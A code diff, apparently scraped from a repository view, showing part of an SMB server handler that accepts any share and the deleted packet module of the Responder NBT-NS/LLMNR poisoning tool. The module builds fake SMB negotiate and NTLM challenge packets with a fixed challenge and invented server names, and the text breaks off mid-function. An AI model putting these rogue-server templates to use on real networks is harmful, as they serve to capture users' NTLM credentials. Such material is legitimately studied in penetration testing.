respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
|
||||
respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
|
||||
respData = smb.SMBTreeConnectAndXResponse_Data()
|
||||
|
||||
treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
|
||||
|
||||
if treeConnectAndXParameters['Flags'] & 0x8:
|
||||
respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
|
||||
|
||||
treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
|
||||
treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
|
||||
treeConnectAndXData.fromString(SMBCommand['Data'])
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
|
||||
|
||||
# Is this a UNC?
|
||||
if ntpath.ismount(UNCOrShare):
|
||||
path = UNCOrShare.split('\\')[3]
|
||||
else:
|
||||
path = ntpath.basename(UNCOrShare)
|
||||
|
||||
# We won't search for the share.. all of them exist :P
|
||||
smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
|
||||
#share = searchShare(connId, path, smbServer)
|
||||
share = {}
|
||||
# Simple way to generate a Tid
|
||||
if len(connData['ConnectedShares']) == 0:
|
||||
tid = 1
|
||||
else:
|
||||
tid = connData['ConnectedShares'].keys()[-1] + 1
|
||||
connData['ConnectedShares'][tid] = share
|
||||
connData['ConnectedShares'][tid]['path'] = '/'
|
||||
connData['ConnectedShares'][tid]['shareName'] = path
|
||||
resp['Tid'] = tid
|
||||
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
||||
|
||||
respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
|
||||
|
||||
if path == 'IPC$':
|
||||
respData['Service'] = 'IPC'
|
||||
else:
|
||||
respData['Service'] = path
|
||||
respData['PadLen'] = 0
|
||||
respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
|
||||
|
||||
respSMBCommand['Parameters'] = respParameters
|
||||
respSMBCommand['Data'] = respData
|
||||
|
||||
resp['Uid'] = connData['Uid']
|
||||
resp.addCommand(respSMBCommand)
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return None, [resp], errorCode
|
||||
|
||||
def start(self):
|
||||
self.server.serve_forever()
|
||||
|
||||
def setDefaultFile(self, filename):
|
||||
self.defaultFile = filename
|
||||
|
||||
def setExtensionsConfig(self, filename):
|
||||
for line in filename.readlines():
|
||||
line = line.strip('\r\n ')
|
||||
if line.startswith('#') is not True and len(line) > 0:
|
||||
extension, pathName = line.split('=')
|
||||
self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
|
|
@ -1,475 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
|
||||
##################################################################################
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
class SMBNegoAnsLM(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x41\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("Srvtimezone", "\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", ""),
|
||||
("Domain", "SMB"),
|
||||
("DomainNull", "\x00\x00"),
|
||||
("Server", "SMB-TOOLKIT"),
|
||||
("ServerNull", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##Convert first..
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM only packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
|
||||
################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||
class SMBNegoKerbAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x09"),
|
||||
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech3ASNId", "\x06"),
|
||||
("NegThisMech3ASNLen", "\x0a"),
|
||||
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
################################################################################
|
||||
class SMBSession1Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\x5f\x01"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\xea\x00"),
|
||||
("Bcc", "\x34\x01"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x81"),
|
||||
("ChoiceTagASNIdLen", "\x00"),
|
||||
("NegTokenTagASNId", "\x30"),
|
||||
("NegTokenTagASNLenOfLen","\x81"),
|
||||
("NegTokenTagASNIdLen", "\x00"),
|
||||
("Tag0ASNId", "\xA0"),
|
||||
("Tag0ASNIdLen", "\x03"),
|
||||
("NegoStateASNId", "\x0A"),
|
||||
("NegoStateASNLen", "\x01"),
|
||||
("NegoStateASNValue", "\x01"),
|
||||
("Tag1ASNId", "\xA1"),
|
||||
("Tag1ASNIdLen", "\x0c"),
|
||||
("Tag1ASNId2", "\x06"),
|
||||
("Tag1ASNId2Len", "\x0A"),
|
||||
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("Tag2ASNId", "\xA2"),
|
||||
("Tag2ASNIdLenOfLen", "\x81"),
|
||||
("Tag2ASNIdLen", "\xED"),
|
||||
("Tag3ASNId", "\x04"),
|
||||
("Tag3ASNIdLenOfLen", "\x81"),
|
||||
("Tag3ASNIdLen", "\xEA"),
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
("NTLMSSPNTLMPadding", ""),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
|
||||
###### SecBlobLen Calc:
|
||||
